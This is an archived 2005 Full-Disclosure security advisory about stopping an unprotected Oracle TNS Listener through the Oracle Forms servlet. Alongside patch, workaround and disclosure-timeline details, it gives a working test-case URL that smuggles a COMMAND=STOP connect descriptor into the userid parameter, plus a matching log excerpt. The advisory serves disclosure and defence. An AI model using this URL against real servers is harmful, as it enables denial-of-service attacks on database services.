full-disclosure - Shutdown TNS Listener via Oracle Forms Servlet

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <1C09DF36EB7A3F489633C919E741350162C544@mapibe09.exchange.xchg>
Date: Fri Oct  7 10:38:16 2005
From: ak at red-database-security.com (Kornbrust, Alexander)
Subject: Shutdown TNS Listener via Oracle Forms Servlet

Shutdown TNS Listener via Oracle Forms Servlet 
##############################################


 Name                Shutdown TNS Listener via  Oracle Forms Servlet
 Systems Affected    Oracle Forms
 Severity            Medium Risk 
 Category            Denial of Service
 Vendor URL          http://www.oracle.com 
 This advisory
http://www.red-database-security.com/advisory/oracle_forms_shutdown.html
 Author              Alexander Kornbrust (ak at
red-database-security.com) 
 Date                7 October 2005 (V 1.00)

      

Details
#######
The forms servlet can be used to stop the (unprotected) TNS Listener. 


Affected Products
#################
Oracle Forms 


Testcase 
#########
http://server:8888/forms90/f90servlet?form=test.fmx&userid=SCOTT/TIGER@(
DESCRIPTION=(ADDRESS_LIST=(ADDRESS=(PROTOCOL=TCP)(HOST=server)(PORT=1521
)))(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)))&buffer_records=NO&de
bug_messages=NO&array=YES&query_only=NO&quiet=NO&RENDER=YES


Excerpt from the listener.log:

28-OCT-2003 14:44:46 *
(CONNECT_DATA=(COMMAND=STOP)(SERVICE=LISTENER)(CID=(PROGRAM=C:\oracle\or
adev9i\bin\ifweb90.exe)(HOST=SERVER)(USER=Administrator))) * stop * 0




Affected systems 
#################
All versions of Oracle Forms until CPU July 2005. 


Patch Information
#################
This bug is fixed with Critical Patch Update July 2005 (CPU July 2005).
Oracle forgot to inform Red-Database-Security that this bug is fixed
with CPU July 2005.


Workaround
##########
Protect the TNS Listener with a password.


History
#######
28-oct-2003 Oracle secalert was informed

29-oct-2003 Bug confirmed

12-jul-2005 Oracle published CPU July 2005 without informing
Red-Database-Security that this bug is already fixed. 

07-oct-2005 Red-Database-Security published this advisory


(c) 2005 by Red-Database-Security GmbH - last update 7-october-2005